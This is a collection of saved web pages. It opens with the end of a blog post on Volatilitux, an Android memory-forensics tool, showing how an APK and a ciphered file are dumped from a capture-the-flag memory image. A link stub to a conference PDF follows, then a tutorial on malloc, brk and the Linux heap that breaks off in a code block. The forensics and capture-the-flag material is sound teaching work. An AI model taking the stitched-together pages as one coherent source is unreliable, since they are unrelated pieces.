    a7a30000-a7a33000  rwxp  libopencore_net_support.so
    a7ba0000-a7bb5000  r-xp  libomx_sharedlibrary.so
    a7bb5000-a7bb6000  rwxp  libomx_sharedlibrary.so
    a9c00000-a9c07000  r-xp  libhardware_legacy.so
    a9c07000-a9c08000  rwxp  libhardware_legacy.so
    a9c70000-a9c71000  r-xp  libhardware.so
    a9c71000-a9c72000  rwxp  libhardware.so
    a9d00000-a9d29000  r-xp  libutils.so
    a9d29000-a9d2a000  rwxp  libutils.so
    a9d80000-a9da2000  r-xp  libbinder.so
    a9da2000-a9da9000  rwxp  libbinder.so
    aa000000-aa3c1000  r-xp  libwebcore.so
    aa3c1000-aa418000  rwxp  libwebcore.so
    aa418000-aa41a000  rwxp
    aab00000-aab14000  r-xp  libexpat.so
    aab14000-aab16000  rwxp  libexpat.so
    aac00000-aac45000  r-xp  libsqlite.so
    aac45000-aac46000  rwxp  libsqlite.so
    ab200000-ab24a000  r-xp  libmedia.so
    ab24a000-ab256000  rwxp  libmedia.so
    ab300000-ab309000  r-xp  libmedia_jni.so
    ab309000-ab30a000  rwxp  libmedia_jni.so
    ab400000-ab41c000  r-xp  libvorbisidec.so
    ab41c000-ab41d000  rwxp  libvorbisidec.so
    ab500000-ab552000  r-xp  libsonivox.so
    ab552000-ab553000  rwxp  libsonivox.so
    ab553000-ab554000  rwxp
    ac000000-ac13f000  r-xp  libskia.so
    ac13f000-ac143000  rwxp  libskia.so
    ac143000-ac146000  rwxp
    ac400000-ac430000  r-xp  libui.so
    ac430000-ac437000  rwxp  libui.so
    ac500000-ac509000  r-xp  libexif.so
    ac509000-ac50a000  rwxp  libexif.so
    ac50a000-ac50c000  rwxp
    ac700000-ac708000  r-xp  libEGL.so
    ac708000-ac709000  rwxp  libEGL.so
    ac709000-ac70b000  rwxp
    acb00000-acb05000  r-xp  libGLESv1_CM.so
    acb05000-acb06000  rwxp  libGLESv1_CM.so
    acf00000-acf19000  r-xp  libpixelflinger.so
    acf19000-acf1b000  rwxp  libpixelflinger.so
    ad000000-ad07e000  r-xp  libdvm.so
    ad07e000-ad081000  rwxp  libdvm.so
    ad081000-ad082000  rwxp
    ad200000-ad233000  r-xp  libnativehelper.so
    ad233000-ad236000  rwxp  libnativehelper.so
    ad300000-ad360000  r-xp  libandroid_runtime.so
    ad360000-ad367000  rwxp  libandroid_runtime.so
    ad367000-ad370000  rwxp
    ad400000-ad4af000  r-xp  libicui18n.so
    ad4af000-ad4b3000  rwxp  libicui18n.so
    ad500000-ad5c0000  r-xp  libicuuc.so
    ad5c0000-ad5c7000  rwxp  libicuuc.so
    ad5c7000-ad5c8000  rwxp
    adb00000-adb04000  r-xp  libnetutils.so
    adb04000-adb05000  rwxp  libnetutils.so
    adc00000-adc02000  r-xp  libwpa_client.so
    adc02000-adc03000  rwxp  libwpa_client.so
    af500000-af5a4000  r-xp  libcrypto.so
    af5a4000-af5b7000  rwxp  libcrypto.so
    af5b7000-af5b9000  rwxp
    af700000-af722000  r-xp  libssl.so
    af722000-af725000  rwxp  libssl.so
    af900000-af913000  r-xp  libz.so
    af913000-af914000  rwxp  libz.so
    afb00000-afb0d000  r-xp  libcutils.so
    afb0d000-afb0e000  rwxp  libcutils.so
    afb0e000-afb1d000  rwxp
    afbc0000-afbc3000  r-xp  liblog.so
    afbc3000-afbc4000  rwxp  liblog.so
    afc00000-afc20000  r-xp  libm.so
    afc20000-afc21000  rwxp  libm.so
    afd00000-afd01000  r-xp  libstdc++.so
    afd01000-afd02000  rwxp  libstdc++.so
    afe00000-afe38000  r-xp  libc.so
    afe38000-afe3b000  rwxp  libc.so
    afe3b000-afe46000  rwxp
    b0000000-b000f000  r-xp  linker
    b000f000-b0010000  rwxp  linker
    b0010000-b0019000  rwxp
    beada000-beaef000  rwxp [stack]
    
    $ volatilitux.py -f challv2 filelist -p 227 | grep apk
    com.anssi.textviewer.apk
    data@app@com.anssi.textviewer.apk@classes.dex
    framework-res.apk
    
    $ volatilitux.py -f challv2 filedmp -p 227 -t com.anssi.textviewer.apk -o output.apk
    Dumping from 426f3000 to 426f8000...
    20480 bytes dumped to output.apk
    
    $ unzip -l output.apk
    Archive:  output.apk
      Length     Date   Time    Name
     --------    ----   ----    ----
          784  09-04-10 16:00   res/layout/main.xml
         2678  09-04-10 16:00   res/raw/chiffre.txt
         1288  09-04-10 16:00   AndroidManifest.xml
         1660  09-04-10 15:58   resources.arsc
         3966  09-04-10 15:58   res/drawable-hdpi/icon.png
         1537  09-04-10 15:58   res/drawable-ldpi/icon.png
         2200  09-04-10 15:58   res/drawable-mdpi/icon.png
         3092  09-04-10 16:00   classes.dex
          636  09-04-10 16:00   META-INF/MANIFEST.MF
          689  09-04-10 16:00   META-INF/CERT.SF
          689  09-04-10 16:00   META-INF/CERT.RSA
     --------                   -------
        19219                   11 files
    
    $ unzip output.apk res/raw/chiffre.txt
    Archive:  output.apk
      inflating: res/raw/chiffre.txt
    
    $ head res/raw/chiffre.txt
    Daxn uuaaidbiwsn,
    
    Yvus kxpwidces ex pw?®mxy, rfgwo yir huy ebazr ?®wpgntmevonz svbowsnb :
            - Hps?¿l eax ldtp txloniwz, rfgwae-pxbs daxv hy phlmbykwgn irfmhj
            - q'ukhnehgj?®j xn Uayhl u uuaa ppnk z'focyet vbazr
            - ul fs?¿kx zj Gjyvjg r axn w?®, zovl ew llxzsf mtxqy ?
            - ul nfs wa hy ppgbgmaxkdl cbibpfcwl nf ynp qck?®y?® qv'xg 1993
    
    Qsy ovit tknnp?® ?á loarnx asxaviu, othnxn aa qhleycxu dbgl h'fjysidtmeth.
    Ahjpnma jhbbiux ea ric ke qtloj, cu lsu vaekza?® ln HIZ.
    
    
[/code]

The remaining of the challenge is left as an exercise for the reader <img
src='img/Temp2_8995.gif' alt=';)' /> .

Note: If some of the pages are partially missing in a file, Volatilitux will
skip those page and only dump valid pages. See the `dumpFile()` method in the
`UserSpace` class if you want to change that behavior.

You will find an example.py file in the root folder. You should read it it if
you want to use the framework as a Python module.

### Volatilitux Internals

Here are some implementation details.

#### Automatic detection of kernel structure offsets

The offset-detection algorithm used in Volatilitux is pretty simple; basically
it is based on bruteforce and pruning heuristics. For each unknown offset or
address, all potential values are tried, and an heuristic is used to decide
whether the value is correct or not. Most of the time, the bruteforce occurs
on two offsets at a time within two nested loops. The heuristic I use are
sometimes pretty simple:

  * if ptr is supposed to contain a kernel address, then its value must be >= 0xC0000000
  * swapper.pid == 0 and init.pid == 1 \(swapper and init are the first two process\)
  * if s1 and s2 are the same type, and both contains 2 fields named f1 and f2, then \(&s1.f2 – &s1.f1\) == \(&s2.f2 – &s2.f1\), i.e. the delta between those offsets is constant for both structures

These heuristics ensure that the loops stop as soon as possible on bad
offsets. The whole algorithm is implemented in core/forensics.py, which is
actually the biggest file of the project…

#### Architecture

Volatilitux is fully object-oriented and makes use of nice Python features in
order to be as extensible as possible, such as:

  * Simple and multiple inheritance
  * Decorators
  * Dynamic loading of modules
  * Operator overloading
  * Nested classes

Decorators are mainly used to simulate C++’s templates, and help reduce the
amount of code.

All handled Linux kernel structures are represented by Python classes using
the same scheme. They all inherits from `KernelStruct`. Here is an example
with `task_struct`:

[code]

    @unix_name("task_struct")
    class Task(KernelStruct):
    
      @classmethod
      def initclass(cls):
        cls.fields_classes = {"pid": Field(int),
                              "comm": Field(str),
                              "parent": Pointer(Task),
                              "tasks": ListHead(Task),
                              "mm": Pointer(UserSpace),
                              }
    
      # More methods...
    
    
[/code]

This syntax lets Volatilitux know that the structure has 5 fields:

  * `pid` is an integer
  * `comm` is a string \(`char *`\)
  * `parent` is a pointer to another `task_struct`
  * `tasks` is a double linked-list of `task_struct`s
  * `mm` is a pointer to another structure \(`mm_struct` which is represented by the `UserSpace` class\)

Since `KernelStruct` uses operator overloading, every field can easily be
accessed using the dot operator, as a regular object property.

That’s all for this quick post… I may publish more details in the following of
the project. In the meanwhile, do not hesitate to browse the source code,
leave a comment, or contact me directly if you have any questions <img
src='img/Temp2_8995.gif' alt=';)' /> .

  *[8 décembre 2010 – 2:09]: 08-12-2010T02:09:36+0000

# download.yandex.ru/company/experience/yac2012/bjorner\_yac\_2012.pdf

**Created:**| _1/24/2013 9:15:54 AM_  
---|---  
**Updated:**| _1/24/2013 9:15:54 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification conference-material SMT_  
  
<img src='img/bjorner_yac_2012.pdf' />

# Hack the Virtual Memory: malloc, the heap & the program break

**Created:**| _5/24/2017 10:12:06 AM_  
---|---  
**Updated:**| _5/24/2017 10:12:06 AM_  
**Author:**| __  
**Tags:**| _bookmark awesome Heap_  
  

  

# malloc, the heap & the program break

<img src='img/htvm3.png' width='576' height='348' alt='Hack the VM!' />

This is the fourth chapter in a series around virtual memory. The goal is to
learn some CS basics, but in a different and more practical way.

If you missed the previous chapters, you should probably start there:

## The heap

In this chapter we will look at the heap and `malloc` in order to answer some
of the questions we ended with at the end of the previous chapter:

  * Why doesn’t our allocated memory start at the very beginning of the heap \(0x2050010 vs 02050000\)? What are those first 16 bytes used for?
  * Is the heap actually growing upwards?

## Prerequisites

In order to fully understand this article, you will need to know:

  * The basics of the C programming language \(especially pointers\)
  * The very basics of the Linux filesystem and the shell
  * We will also use the `/proc/[pid]/maps` file \(see `man proc` or read our first article Hack The Virtual Memory, chapter 0: C strings & /proc\)

## Environment

All scripts and programs have been tested on the following system:

  * Ubuntu 
    * Linux ubuntu 4.4.0-31-generic \#50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86\_64 x86\_64 x86\_64 GNU/Linux

Tools used:

  * gcc 
    * gcc \(Ubuntu 4.8.4-2ubuntu1~14.04.3\) 4.8.4
  * glibc 2.19 \(see version.c if you need to check your glibc version\)
  * strace 
    * strace — version 4.8

**Everything we will write will be true for this system/environment, but may
be different on another system**

We will also go through the Linux source code. If you are on Ubuntu, you can
download the sources of your current kernel by running this command:

[code]

    apt-get source linux-image-$(uname -r)
    
[/code]

## `malloc`

`malloc` is the common function used to dynamically allocate memory. This
memory is allocated on the “heap”.  
_Note:`malloc` is not a system call._

From `man malloc`:

[code]

    [...] allocate dynamic memory[...]
    void *malloc(size_t size);
    [...]
    The malloc() function allocates size bytes and returns a pointer to the allocated memory.
    
[/code]

### No malloc, no \[heap\]

Let’s look at memory regions of a process that does not call `malloc`
\(`0-main.c`\).

[code]

    #include <stdlib.h>
    #include <stdio.h>
    
    /**
     * main - do nothing
     *
     * Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
     */
    int main(void)
    {
        getchar();
        return (EXIT_SUCCESS);
    }
    
    
[/code]

[code]

    julien@holberton:~/holberton/w/hackthevm3$ gcc -Wall -Wextra -pedantic -Werror 0-main.c -o 0
    julien@holberton:~/holberton/w/hackthevm3$ ./0 
    
    
[/code]

_Quick reminder \(1/3\): the memory regions of a process are listed in
the`/proc/[pid]/maps` file. As a result, we first need to know the PID of the
process. That is done using the `ps` command; the second column of `ps aux`
output will give us the PID of the process. Please read chapter 0 to learn
more._

[code]

    julien@holberton:/tmp$ ps aux | grep \ \./0$
    julien     3638  0.0  0.0   4200   648 pts/9    S+   12:01   0:00 ./0
    
[/code]

_Quick reminder \(2/3\): from the above output, we can see that the PID of the
process we want to look at is`3638`. As a result, the `maps` file will be
found in the directory `/proc/3638`._

[code]

    julien@holberton:/tmp$ cd /proc/3638
    
[/code]

_Quick reminder \(3/3\): The`maps` file contains the memory regions of the
process. The format of each line in this file is:  
address perms offset dev inode pathname_

[code]

    julien@holberton:/proc/3638$ cat maps
    00400000-00401000 r-xp 00000000 08:01 174583                             /home/julien/holberton/w/hack_the_virtual_memory/03. The Heap/0
    00600000-00601000 r--p 00000000 08:01 174583                             /home/julien/holberton/w/hack_the_virtual_memory/03. The Heap/0
    00601000-00602000 rw-p 00001000 08:01 174583                             /home/julien/holberton/w/hack_the_virtual_memory/03. The Heap/0
    7f38f87d7000-7f38f8991000 r-xp 00000000 08:01 136253                     /lib/x86_64-linux-gnu/libc-2.19.so
    7f38f8991000-7f38f8b91000 ---p 001ba000 08:01 136253                     /lib/x86_64-linux-gnu/libc-2.19.so
    7f38f8b91000-7f38f8b95000 r--p 001ba000 08:01 136253                     /lib/x86_64-linux-gnu/libc-2.19.so
    7f38f8b95000-7f38f8b97000 rw-p 001be000 08:01 136253                     /lib/x86_64-linux-gnu/libc-2.19.so
    7f38f8b97000-7f38f8b9c000 rw-p 00000000 00:00 0 
    7f38f8b9c000-7f38f8bbf000 r-xp 00000000 08:01 136229                     /lib/x86_64-linux-gnu/ld-2.19.so
    7f38f8da3000-7f38f8da6000 rw-p 00000000 00:00 0 
    7f38f8dbb000-7f38f8dbe000 rw-p 00000000 00:00 0 
    7f38f8dbe000-7f38f8dbf000 r--p 00022000 08:01 136229                     /lib/x86_64-linux-gnu/ld-2.19.so
    7f38f8dbf000-7f38f8dc0000 rw-p 00023000 08:01 136229                     /lib/x86_64-linux-gnu/ld-2.19.so
    7f38f8dc0000-7f38f8dc1000 rw-p 00000000 00:00 0 
    7ffdd85c5000-7ffdd85e6000 rw-p 00000000 00:00 0                          [stack]
    7ffdd85f2000-7ffdd85f4000 r--p 00000000 00:00 0                          [vvar]
    7ffdd85f4000-7ffdd85f6000 r-xp 00000000 00:00 0                          [vdso]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
    julien@holberton:/proc/3638$ 
    
[/code]

_Note:`hackthevm3` is a symbolic link to `hack_the_virtual_memory/03. The
Heap/`_

-> As we can see from the above maps file, there’s no \[heap\] region allocated.
### `malloc(x)`

Let’s do the same but with a program that calls `malloc` \(`1-main.c`\):

[code]

    #include <stdio.h>
    #include <stdlib.h>
    
    /**
     * main - 1 call to malloc
     *
     * Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
     */
    int main(void)
    {
        malloc(1);
        getchar();
        return (EXIT_SUCCESS);
    }
    
[/code]

[code]

    julien@holberton:~/holberton/w/hackthevm3$ gcc -Wall -Wextra -pedantic -Werror 1-main.c -o 1
    julien@holberton:~/holberton/w/hackthevm3$ ./1 
    
    
[/code]

[code]

    julien@holberton:/proc/3638$ ps aux | grep \ \./1$
    julien     3718  0.0  0.0   4332   660 pts/9    S+   12:09   0:00 ./1
    julien@holberton:/proc/3638$ cd /proc/3718
    julien@holberton:/proc/3718$ cat maps 
    00400000-00401000 r-xp 00000000 08:01 176964                             /home/julien/holberton/w/hack_the_virtual_memory/03. The Heap/1
    00600000-00601000 r--p 00000000 08:01 176964                             /home/julien/holberton/w/hack_the_virtual_memory/03. The Heap/1
    00601000-00602000 rw-p 00001000 08:01 176964                             /home/julien/holberton/w/hack_the_virtual_memory/03. The Heap/1
    01195000-011b6000 rw-p 00000000 00:00 0                                  [heap]
    ...
    julien@holberton:/proc/3718$ 
    
[/code]

-> the \[heap\] is here.
Let’s check the return value of `malloc` to make sure the returned address is
in the heap region \(`2-main.c`\):

[code]

    #include <stdio.h>
    #include <stdlib.h>
    
    /**
     * main - prints the malloc returned address
     *
     * Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
     */
    int main(void)
    {
        void *p;
    
        p = malloc(1);
        printf("%p\n", p);
        getchar();
        return (EXIT_SUCCESS);
    }
    
[/code]

[code]

    julien@holberton:~/holberton/w/hackthevm3$ gcc -Wall -Wextra -pedantic -Werror 2-main.c -o 2
    julien@holberton:~/holberton/w/hackthevm3$ ./2 
    0x24d6010
    
    
[/code]

[code]

    julien@holberton:/proc/3718$ ps aux | grep \ \./2$
    julien     3834  0.0  0.0   4336   676 pts/9    S+   12:48   0:00 ./2
    julien@holberton:/proc/3718$ cd /proc/3834
    julien@holberton:/proc/3834$ cat maps
    00400000-00401000 r-xp 00000000 08:01 176966                             /home/julien/holberton/w/hack_the_virtual_memory/03. The Heap/2
    00600000-00601000 r--p 00000000 08:01 176966                             /home/julien/holberton/w/hack_the_virtual_memory/03. The Heap/2
    00601000-00602000 rw-p 00001000 08:01 176966                             /home/julien/holberton/w/hack_the_virtual_memory/03. The Heap/2
    024d6000-024f7000 rw-p 00000000 00:00 0                                  [heap]
    ...
    julien@holberton:/proc/3834$ 
    
[/code]

-> `024d6000` <`0x24d6010` < `024f7000`
The returned address is inside the heap region. And as we have seen in the
previous chapter, the returned address does not start exactly at the beginning
of the region; we’ll see why later.

## `strace`, `brk` and `sbrk`

`malloc` is a “regular” function \(as opposed to a system call\), so it must
call some kind of syscall in order to manipulate the heap. Let’s use `strace`
to find out.

`strace` is a program used to trace system calls and signals. Any program will
always use a few syscalls before your `main` function is executed. In order to
know which syscalls are used by `malloc`, we will add a `write` syscall before
and after the call to `malloc`\(`3-main.c`\).

[code]

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    /**
     * main - let's find out which syscall malloc is using
     *
     * Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
     */
    int main(void)
    {
        void *p;
    
        write(1, "BEFORE MALLOC\n", 14);
        p = malloc(1);
        write(1, "AFTER MALLOC\n", 13);
        printf("%p\n", p);
        getchar();
        return (EXIT_SUCCESS);
    }
    
[/code]

[code]

    julien@holberton:~/holberton/w/hackthevm3$ gcc -Wall -Wextra -pedantic -Werror 3-main.c -o 3
    julien@holberton:~/holberton/w/hackthevm3$ strace ./3 
    execve("./3", ["./3"], [/* 61 vars */]) = 0
    ...
    write(1, "BEFORE MALLOC\n", 14BEFORE MALLOC
    )         = 14
    brk(0)                                  = 0xe70000
    brk(0xe91000)                           = 0xe91000
    write(1, "AFTER MALLOC\n", 13AFTER MALLOC
    )          = 13
    ...
    read(0, 
    
[/code]

From the above listing we can focus on this:

[code]

    brk(0)                                  = 0xe70000
    brk(0xe91000)                           = 0xe91000
    
[/code]

-> `malloc` is using the `brk` system call in order to manipulate the heap. From `brk` man page \(`man brk`\), we can see what this system call is doing:
[code]

    ...
           int brk(void *addr);
           void *sbrk(intptr_t increment);
    ...
    DESCRIPTION
           brk() and sbrk() change the location of the program  break,  which  defines
           the end of the process's data segment (i.e., the program break is the first
           location after the end of the uninitialized data segment).  Increasing  the
           program  break has the effect of allocating memory to the process; decreas‐
           ing the break deallocates memory.
    
           brk() sets the end of the data segment to the value specified by addr, when
           that  value  is  reasonable,  the system has enough memory, and the process
           does not exceed its maximum data size (see setrlimit(2)).
    
           sbrk() increments the program's data space  by  increment  bytes.   Calling
           sbrk()  with  an increment of 0 can be used to find the current location of
           the program break.
    
[/code]

The program break is the address of the first location beyond the current end
of the data region of the program in the virual memory.

<img src='img/program-break-before.png' width='433' height='450' alt='program
break before the call to malloc / brk' />

By increasing the value of the program break, via `brk` or `sbrk`, the
function `malloc` creates a new space that can then be used by the process to
dynamically allocate memory \(using `malloc`\).

<img src='img/program-break-after.png' width='433' height='450' alt='program
break after the malloc / brk call' />

So the heap is actually an extension of the data segment of the program.

The first call to `brk` \(`brk(0)`\) returns the current address of the
program break to `malloc`. And the second call is the one that actually
creates new memory \(since `0xe91000` > `0xe70000`\) by increasing the value
of the program break. In the above example, the heap is now starting at
`0xe70000` and ends at `0xe91000`. Let’s double check with the
`/proc/[PID]/maps` file:

[code]

    julien@holberton:/proc/3855$ ps aux | grep \ \./3$
    julien     4011  0.0  0.0   4748   708 pts/9    S+   13:04   0:00 strace ./3
    julien     4014  0.0  0.0   4336   644 pts/9    S+   13:04   0:00 ./3
    julien@holberton:/proc/3855$ cd /proc/4014
    julien@holberton:/proc/4014$ cat maps 
    00400000-00401000 r-xp 00000000 08:01 176967                             /home/julien/holberton/w/hack_the_virtual_memory/03. The Heap/3
    00600000-00601000 r--p 00000000 08:01 176967                             /home/julien/holberton/w/hack_the_virtual_memory/03. The Heap/3
    00601000-00602000 rw-p 00001000 08:01 176967                             /home/julien/holberton/w/hack_the_virtual_memory/03. The Heap/3
    00e70000-00e91000 rw-p 00000000 00:00 0                                  [heap]
    ...
    julien@holberton:/proc/4014$ 
    
[/code]

-> `00e70000-00e91000 rw-p 00000000 00:00 0 [heap]` matches the pointers returned back to `malloc` by `brk`.
That’s great, but wait, why did`malloc` increment the heap by `00e91000` –
`00e70000` = `0x21000` or `135168` bytes, when we only asked for only 1 byte?

## Many mallocs

What will happen if we call `malloc` several times? \(`4-main.c`\)

[code]

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    /**
     * main - many calls to malloc
     *
     * Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
     */
    int main(void)
    {
        void *p;
    
        write(1, "BEFORE MALLOC #0\n", 17);
        p = malloc(1024);
        write(1, "AFTER MALLOC #0\n", 16);
        printf("%p\n", p);
    
        write(1, "BEFORE MALLOC #1\n", 17);
        p = malloc(1024);
        write(1, "AFTER MALLOC #1\n", 16);
        printf("%p\n", p);
    
        write(1, "BEFORE MALLOC #2\n", 17);
        p = malloc(1024);
        write(1, "AFTER MALLOC #2\n", 16);
        printf("%p\n", p);
    
        write(1, "BEFORE MALLOC #3\n", 17);
        p = malloc(1024);
        write(1, "AFTER MALLOC #3\n", 16);
        printf("%p\n", p);
    
        getchar();
        return (EXIT_SUCCESS);
    }
    
[/code]

[code]

    julien@holberton:~/holberton/w/hackthevm3$ gcc -Wall -Wextra -pedantic -Werror 4-main.c -o 4
    julien@holberton:~/holberton/w/hackthevm3$ strace ./4 
    execve("./4", ["./4"], [/* 61 vars */]) = 0
    ...
    write(1, "BEFORE MALLOC #0\n", 17BEFORE MALLOC #0
    )      = 17
    brk(0)                                  = 0x1314000
    brk(0x1335000)                          = 0x1335000
    write(1, "AFTER MALLOC #0\n", 16AFTER MALLOC #0
    )       = 16
    ...
    write(1, "0x1314010\n", 100x1314010
    )             = 10
    write(1, "BEFORE MALLOC #1\n", 17BEFORE MALLOC #1
    )      = 17
    write(1, "AFTER MALLOC #1\n", 16AFTER MALLOC #1
    )       = 16
    write(1, "0x1314420\n", 100x1314420
    )             = 10
    write(1, "BEFORE MALLOC #2\n", 17BEFORE MALLOC #2
    )      = 17
    write(1, "AFTER MALLOC #2\n", 16AFTER MALLOC #2
    )       = 16
    write(1, "0x1314830\n", 100x1314830
    )             = 10
    write(1, "BEFORE MALLOC #3\n", 17BEFORE MALLOC #3
    )      = 17
    write(1, "AFTER MALLOC #3\n", 16AFTER MALLOC #3
    )       = 16
    write(1, "0x1314c40\n", 100x1314c40
    )             = 10
    ...
    read(0, 
    
[/code]

-> `malloc` is NOT calling `brk` each time we call it.
The first time, `malloc` creates a new space \(the heap\) for the program \(by
increasing the program break location\). The following times, `malloc` uses
the same space to give our program “new” chunks of memory. Those “new” chunks
of memory are part of the memory previously allocated using `brk`. This way,
`malloc` doesn’t have to use syscalls \(`brk`\) every time we call it, and
thus it makes `malloc` – and our programs using `malloc` – faster. It also
allows `malloc` and `free` to optimize the usage of the memory.

Let’s double check that we have only one heap, allocated by the first call to
`brk`:

[code]

    julien@holberton:/proc/4014$ ps aux | grep \ \./4$
    julien     4169  0.0  0.0   4748   688 pts/9    S+   13:33   0:00 strace ./4
    julien     4172  0.0  0.0   4336   656 pts/9    S+   13:33   0:00 ./4
    julien@holberton:/proc/4014$ cd /proc/4172
    julien@holberton:/proc/4172$ cat maps
    00400000-00401000 r-xp 00000000 08:01 176973                             /home/julien/holberton/w/hack_the_virtual_memory/03. The Heap/4
    00600000-00601000 r--p 00000000 08:01 176973                             /home/julien/holberton/w/hack_the_virtual_memory/03. The Heap/4
    00601000-00602000 rw-p 00001000 08:01 176973                             /home/julien/holberton/w/hack_the_virtual_memory/03. The Heap/4
    01314000-01335000 rw-p 00000000 00:00 0                                  [heap]
    7f4a3f2c4000-7f4a3f47e000 r-xp 00000000 08:01 136253                     /lib/x86_64-linux-gnu/libc-2.19.so
    7f4a3f47e000-7f4a3f67e000 ---p 001ba000 08:01 136253                     /lib/x86_64-linux-gnu/libc-2.19.so
    7f4a3f67e000-7f4a3f682000 r--p 001ba000 08:01 136253                     /lib/x86_64-linux-gnu/libc-2.19.so
    7f4a3f682000-7f4a3f684000 rw-p 001be000 08:01 136253                     /lib/x86_64-linux-gnu/libc-2.19.so
    7f4a3f684000-7f4a3f689000 rw-p 00000000 00:00 0 
    7f4a3f689000-7f4a3f6ac000 r-xp 00000000 08:01 136229                     /lib/x86_64-linux-gnu/ld-2.19.so
    7f4a3f890000-7f4a3f893000 rw-p 00000000 00:00 0 
    7f4a3f8a7000-7f4a3f8ab000 rw-p 00000000 00:00 0 
    7f4a3f8ab000-7f4a3f8ac000 r--p 00022000 08:01 136229                     /lib/x86_64-linux-gnu/ld-2.19.so
    7f4a3f8ac000-7f4a3f8ad000 rw-p 00023000 08:01 136229                     /lib/x86_64-linux-gnu/ld-2.19.so
    7f4a3f8ad000-7f4a3f8ae000 rw-p 00000000 00:00 0 
    7ffd1ba73000-7ffd1ba94000 rw-p 00000000 00:00 0                          [stack]
    7ffd1bbed000-7ffd1bbef000 r--p 00000000 00:00 0                          [vvar]
    7ffd1bbef000-7ffd1bbf1000 r-xp 00000000 00:00 0                          [vdso]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
    julien@holberton:/proc/4172$ 
    
[/code]

-> We have only one \[heap\] and the addresses match those returned by `sbrk`: `0x1314000` & `0x1335000`
## Naive malloc

Based on the above, and assuming we won’t ever need to free anything, we can
now write our own \(naive\) version of `malloc`, that would move the program
break each time it is called.

[code]

    #include <stdlib.h>
    #include <unistd.h>
    
    /**                                                                                            
     * malloc - naive version of malloc: dynamically allocates memory on the heap using sbrk                         
     * @size: number of bytes to allocate                                                          
     *                                                                                             
     * Return: the memory address newly allocated, or NULL on error                                
     *                                                                                             
     * Note: don't do this at home :)                                                              
     */
    void *malloc(size_t size)
    {
        void *previous_break;
    
        previous_break = sbrk(size);
        /* check for error */
        if (previous_break == (void *) -1)
        {
            /* on error malloc returns NULL */
            return (NULL);
        }
        return (previous_break);
    }
    
[/code]

## The 0x10 lost bytes

If we look at the output of the previous program \(`4-main.c`\), we can see
that the first memory address returned by `malloc` doesn’t start at the
beginning of the heap, but `0x10` bytes after: `0x1314010` vs `0x1314000`.
Also, when we call `malloc(1024)` a second time, the address should be
`0x1314010` \(the returned value of the first call to `malloc`\) + `1024` \(or
`0x400` in hexadecimal, since the first call to `malloc` was asking for `1024`
bytes\) = `0x1318010`. But the return value of the second call to `malloc` is
`0x1314420`. We have lost `0x10` bytes again\! Same goes for the subsequent
calls.

Let’s look at what we can find inside those “lost” `0x10`-byte memory spaces
\(`5-main.c`\) and whether the memory loss stays constant:

[code]

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    /**                                                                                            
     * pmem - print mem                                                                            
     * @p: memory address to start printing from                                                   
     * @bytes: number of bytes to print                                                            
     *                                                                                             
     * Return: nothing                                                                             
     */
    void pmem(void *p, unsigned int bytes)
    {
        unsigned char *ptr;
        unsigned int i;
    
        ptr = (unsigned char *)p;
        for (i = 0; i < bytes; i++)
        {
            if (i != 0)
            {
                printf(" ");
            }
            printf("%02x", *(ptr + i));
        }
        printf("\n");
    }
    
    /**
     * main - the 0x10 lost bytes
     *
     * Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
     */
    int main(void)
    {
        void *p;
        int i;
    
        for (i = 0; i < 10; i++)
        {
            p = malloc(1024 * (i + 1));
            printf("%p\n", p);
            printf("bytes at %p:\n", (void *)((char *)p - 0x10));
            pmem((char *)p - 0x10, 0x10);
        }
        return (EXIT_SUCCESS);
    }
    
[/code]

[code]

    julien@holberton:~/holberton/w/hackthevm3$ gcc -Wall -Wextra -pedantic -Werror 5-main.c -o 5
    julien@holberton:~/holberton/w/hackthevm3$ ./5
    0x1fa8010
    bytes at 0x1fa8000:
    00 00 00 00 00 00 00 00 11 04 00 00 00 00 00 00
    0x1fa8420
    bytes at 0x1fa8410:
    00 00 00 00 00 00 00 00 11 08 00 00 00 00 00 00
    0x1fa8c30
    bytes at 0x1fa8c20:
    00 00 00 00 00 00 00 00 11 0c 00 00 00 00 00 00
    0x1fa9840
    bytes at 0x1fa9830:
    00 00 00 00 00 00 00 00 11 10 00 00 00 00 00 00
    0x1faa850
    bytes at 0x1faa840:
    00 00 00 00 00 00 00 00 11 14 00 00 00 00 00 00
    0x1fabc60
    bytes at 0x1fabc50:
    00 00 00 00 00 00 00 00 11 18 00 00 00 00 00 00
    0x1fad470
    bytes at 0x1fad460:
    00 00 00 00 00 00 00 00 11 1c 00 00 00 00 00 00
    0x1faf080
    bytes at 0x1faf070:
    00 00 00 00 00 00 00 00 11 20 00 00 00 00 00 00
    0x1fb1090
    bytes at 0x1fb1080:
    00 00 00 00 00 00 00 00 11 24 00 00 00 00 00 00
    0x1fb34a0
    bytes at 0x1fb3490:
    00 00 00 00 00 00 00 00 11 28 00 00 00 00 00 00
    julien@holberton:~/holberton/w/hackthevm3$ 
    
[/code]

There is one clear pattern: the size of the malloc’ed memory chunk is always
found in the preceding 0x10 bytes. For instance, the first `malloc` call is
malloc’ing `1024` \(`0x0400`\) bytes and we can find `11 04 00 00 00 00 00 00`
in the preceding `0x10` bytes. Those last bytes represent the number `0x 00 00
00 00 00 00 04 11` = `0x400` \(1024\) + `0x10` \(the block size preceding
those `1024` bytes + `1` \(we’ll talk about this “+1” later in this chapter\).
If we look at each `0x10` bytes preceding the addresses returned by `malloc`,
they all contain the size of the chunk of memory asked to `malloc` \+ `0x10`
\+ `1`.

At this point, given what we said and saw earlier, we can probably guess that
those 0x10 bytes are a sort of data structure used by `malloc` \(and `free`\)
to deal with the heap. And indeed, even though we don’t understand everything
yet, we can already use this data structure to go from one malloc’ed chunk of
memory to the other \(`6-main.c`\) as long as we have the address of the
beginning of the heap \(_and as long as we have never called`free`_\):

[code]

    #include <stdio.h>
